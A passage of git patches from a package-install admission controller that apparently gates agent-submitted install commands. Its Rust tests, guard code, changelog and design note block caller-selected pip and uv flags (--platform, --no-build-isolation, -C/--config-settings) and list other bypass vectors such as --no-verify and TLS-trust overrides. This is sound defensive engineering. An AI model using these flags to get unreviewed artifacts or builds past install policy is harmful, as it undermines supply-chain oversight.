*CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs +- Podman Project. (2026). *podman-pull — Pull an image from a registry.* https://docs.podman.io/en/stable/markdown/podman-pull.1.html - The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 9f11a7f90902c83f796aeda990f33425739b9c46 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:04:20 +0900 Subject: [PATCH 179/702] test(admission): reject caller-selected PyPI artifact variants --- .../tests/pypi_artifact_variant_contract.rs | 125 ++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs new file mode 100644 index 00000000..3d4295c8 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -0,0 +1,125 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; + +#[test] +fn caller_selected_wheel_compatibility_tags_require_separately_approved_artifact_identity() { + for selector in [ + "--platform=manylinux_2_28_x86_64", + "--python-version=3.13", + "--implementation=cp", + "--abi=cp313", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI compatibility selector {selector} must not inherit approval from an artifact coordinate that does not bind that selector" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "PyPI selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + +#[test] +fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + ] { + let (policy, mut intent) = approved_pypi_install("pip"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected PyPI build control {selector} must require separately reviewed artifact/build authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); + } +} + +#[test] +fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_pypi_install("pip"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example Publisher".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pypi-artifact-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + artifact_argument, + "--require-hashes".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From a23583a533babf256ad81e9c882759662fe33f2b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:06:10 +0900 Subject: [PATCH 180/702] fix(admission): bind PyPI artifact and build variants --- .../src/artifact_variant.rs | 46 ++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f261c37d..ab78cc8d 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -1,8 +1,15 @@ use crate::InstallIntent; +/// Return whether an install asks the package client to expand or select +/// artifact/build identity that is not represented by the approved coordinates. +pub(crate) fn requests_unapproved_artifact_variant(intent: &InstallIntent) -> bool { + requests_unapproved_oci_artifact_variant(intent) + || requests_unapproved_pypi_artifact_variant(intent) +} + /// Return whether an OCI pull asks the client to expand or select artifact /// identity that is not represented by the approved artifact coordinates. -pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { +fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; @@ -35,6 +42,43 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - }) } +/// Pip can select a wheel compatibility target or force/configure a source +/// build independently of the name/version coordinate. Until policy carries +/// that artifact/build identity, caller-selected selectors fail closed. +fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(1).any(|argument| { + matches_value_flag(argument, "--platform") + || matches_value_flag(argument, "--python-version") + || matches_value_flag(argument, "--implementation") + || matches_value_flag(argument, "--abi") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--only-binary") + || argument == "--prefer-binary" + || argument == "--no-build-isolation" + || matches_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-settings") + }) +} + +fn matches_value_flag(argument: &str, flag: &str) -> bool { + argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) +} + /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as /// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; /// every non-final Boolean shorthand is enabled while an attached assignment From b3336704f346a174a7ea9fcc4b0403ef22a8c06b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:06:41 +0900 Subject: [PATCH 181/702] refactor(admission): use generic artifact variant guard --- crates/agent-artifact-admission/src/lib.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a9ff8e50..fa677ac0 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,7 +29,7 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); - if artifact_variant::requests_unapproved_oci_artifact_variant(intent) { + if artifact_variant::requests_unapproved_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } From bab0f8bd2c2f37da7cf3de2e425fdb1a2dd9a054 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:08:02 +0900 Subject: [PATCH 182/702] docs(changelog): record PyPI variant admission --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e84e671b..ce0e3f47 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected pip resolution or build variants: `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `-C` / `--config-settings` fail closed as `artifact_not_approved` until policy can bind wheel compatibility tags or source-build/backend configuration explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. @@ -14,5 +15,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From f501261b2481d6c6a9def029941687f1cf0d6dfc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:08:19 +0900 Subject: [PATCH 183/702] docs(doctoring): trace PyPI artifact variant authority --- docs/doctoring/pypi-artifact-variant.md | 27 +++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/pypi-artifact-variant.md diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md new file mode 100644 index 00000000..b935ba35 --- /dev/null +++ b/docs/doctoring/pypi-artifact-variant.md @@ -0,0 +1,27 @@ +# PyPI artifact and build-variant admission traceability + +Verified 2026-09-04 against the current pip documentation. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. + +## Decision + +An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. + +Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. + +## Evidence + +The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. + +This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. + +## RED → GREEN + +RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. + +## References + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +pip developers. (2026). *pip install: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +pip developers. (2026). *Repeatable installs: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/topics/repeatable-installs/ From aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:11:39 +0900 Subject: [PATCH 184/702] test(admission): reject attached pip build settings --- .../tests/pypi_artifact_variant_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 3d4295c8..653133db 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -43,6 +43,7 @@ fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapp "--no-binary=:all:", "--no-build-isolation", "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", ] { let (policy, mut intent) = approved_pypi_install("pip"); intent.argv.insert(2, selector.to_string()); From c8546f4db70dc8cbc86bedf1d050a0eb5974073f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:12:14 +0900 Subject: [PATCH 185/702] fix(admission): reject attached pip config settings --- .../agent-artifact-admission/src/artifact_variant.rs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index ab78cc8d..ef3f7eda 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -70,7 +70,7 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { || matches_value_flag(argument, "--only-binary") || argument == "--prefer-binary" || argument == "--no-build-isolation" - || matches_value_flag(argument, "-C") + || matches_short_value_flag(argument, "-C") || matches_value_flag(argument, "--config-settings") }) } @@ -79,6 +79,15 @@ fn matches_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) } +/// Pip's option parser accepts short options with their required value attached, +/// for example `-Cbackend-mode=unsafe`, so exact-token matching is insufficient. +fn matches_short_value_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| !suffix.is_empty()) +} + /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as /// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; /// every non-final Boolean shorthand is enabled while an attached assignment From 462d984fb0af521bb356b403c5d892f649568f9f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 20:12:32 +0900 Subject: [PATCH 186/702] docs(doctoring): record attached pip config parsing --- docs/doctoring/pypi-artifact-variant.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md index b935ba35..e7f66ca4 100644 --- a/docs/doctoring/pypi-artifact-variant.md +++ b/docs/doctoring/pypi-artifact-variant.md @@ -1,22 +1,26 @@ # PyPI artifact and build-variant admission traceability -Verified 2026-09-04 against the current pip documentation. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. +Verified 2026-09-04 against the current pip documentation and a local no-index/dry-run parser probe. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. ## Decision An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. -Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. +Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers both separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. ## Evidence The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. +A local `python -m pip install --dry-run --no-index -Cbackend-mode=unsafe definitely-nonexistent-package-cwl-wardnet==0` parser probe reached ordinary package resolution and failed only because no matching distribution exists. That confirms pip accepts the required value attached to short `-C`; a guard that recognized only exact `-C` or `-C=...` would be bypassable. + This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. ## RED → GREEN -RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. +RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. + +A follow-up parser verification found the attached short-option spelling `-Cbackend-mode=unsafe`. RED `aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` added that hostile case before production changed; GREEN `c8546f4db70dc8cbc86bedf1d050a0eb5974073f` made the short required-value guard recognize attached values without widening the long-option matcher. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. ## References From 2b78613d742a48aef1f9f0bda085a18be076219e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:02:21 +0900 Subject: [PATCH 187/702] test(admission): reject unbound uv artifact variants --- .../tests/pypi_artifact_variant_contract.rs | 67 +++++++++++++++++-- 1 file changed, 60 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 653133db..110cc8e2 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -64,6 +64,35 @@ fn caller_selected_source_distribution_and_build_backend_controls_are_not_preapp } } +#[test] +fn uv_pip_target_platform_and_build_backend_controls_are_not_preapproved() { + for selector in [ + "--python-platform=x86_64-unknown-linux-gnu", + "--no-binary=:all:", + "--no-build-isolation", + "--config-settings=backend-mode=unsafe", + "-Cbackend-mode=unsafe", + ] { + let (policy, mut intent) = approved_uv_pypi_install(); + intent.argv.insert(3, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv pip selector {selector} must not inherit approval from a PyPI artifact coordinate that does not bind target-platform or build-backend authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "uv pip selector {selector} must stay in the artifact-identity reason domain" + ); + } +} + #[test] fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { let (policy, intent) = approved_pypi_install("pip"); @@ -74,7 +103,36 @@ fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { assert!(decision.reason_codes.is_empty()); } +#[test] +fn exact_uv_pypi_install_without_caller_selected_variant_remains_allowed() { + let (policy, intent) = approved_uv_pypi_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + executable.to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + ]) +} + +fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { + approved_pypi_install_with_argv(vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + ]) +} + +fn approved_pypi_install_with_argv(argv: Vec) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), @@ -88,7 +146,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let policy = AdmissionPolicy { policy_id: "pypi-production".to_string(), policy_revision: "2026-09-04.1".to_string(), - allowed_executables: vec![executable.to_string()], + allowed_executables: vec![argv[0].clone()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: MANIFEST_DIGEST.to_string(), @@ -108,12 +166,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![ - executable.to_string(), - "install".to_string(), - artifact_argument, - "--require-hashes".to_string(), - ], + argv, manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, From c655cbcc491b3be51bddaac737722888e10444ab Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:02:56 +0900 Subject: [PATCH 188/702] fix(admission): bind uv pip artifact variants --- .../src/artifact_variant.rs | 78 ++++++++++++------- 1 file changed, 52 insertions(+), 26 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index ef3f7eda..28dcc54e 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -42,45 +42,71 @@ fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { }) } -/// Pip can select a wheel compatibility target or force/configure a source -/// build independently of the name/version coordinate. Until policy carries -/// that artifact/build identity, caller-selected selectors fail closed. +/// Pip-compatible installers can select a wheel compatibility target or +/// force/configure a source build independently of the approved name/version +/// coordinate. Until policy carries that artifact/build identity, caller- +/// selected selectors fail closed. fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - let arguments = &intent.argv[1..]; - if !arguments - .first() - .is_some_and(|argument| argument == "install") - { - return false; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments.iter().skip(1).any(requests_unapproved_pip_variant) + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + arguments.iter().skip(2).any(requests_unapproved_uv_pip_variant) + } + _ => false, } +} - arguments.iter().skip(1).any(|argument| { - matches_value_flag(argument, "--platform") - || matches_value_flag(argument, "--python-version") - || matches_value_flag(argument, "--implementation") - || matches_value_flag(argument, "--abi") - || matches_value_flag(argument, "--no-binary") - || matches_value_flag(argument, "--only-binary") - || argument == "--prefer-binary" - || argument == "--no-build-isolation" - || matches_short_value_flag(argument, "-C") - || matches_value_flag(argument, "--config-settings") - }) +fn requests_unapproved_pip_variant(argument: &String) -> bool { + matches_value_flag(argument, "--platform") + || matches_value_flag(argument, "--python-version") + || matches_value_flag(argument, "--implementation") + || matches_value_flag(argument, "--abi") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--only-binary") + || argument == "--prefer-binary" + || argument == "--no-build-isolation" + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-settings") +} + +fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { + matches_value_flag(argument, "--python-platform") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--no-binary-package") + || matches_value_flag(argument, "--only-binary") + || matches_value_flag(argument, "--only-binary-package") + || argument == "--no-build" + || argument == "--no-build-isolation" + || matches_value_flag(argument, "--no-build-isolation-package") + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-setting") + || matches_value_flag(argument, "--config-settings") + || matches_value_flag(argument, "--config-settings-package") } fn matches_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument.strip_prefix(flag).is_some_and(|suffix| suffix.starts_with('=')) } -/// Pip's option parser accepts short options with their required value attached, -/// for example `-Cbackend-mode=unsafe`, so exact-token matching is insufficient. +/// Pip-compatible option parsers accept short options with their required +/// value attached, for example `-Cbackend-mode=unsafe`, so exact-token matching +/// is insufficient. fn matches_short_value_flag(argument: &str, flag: &str) -> bool { argument == flag || argument From 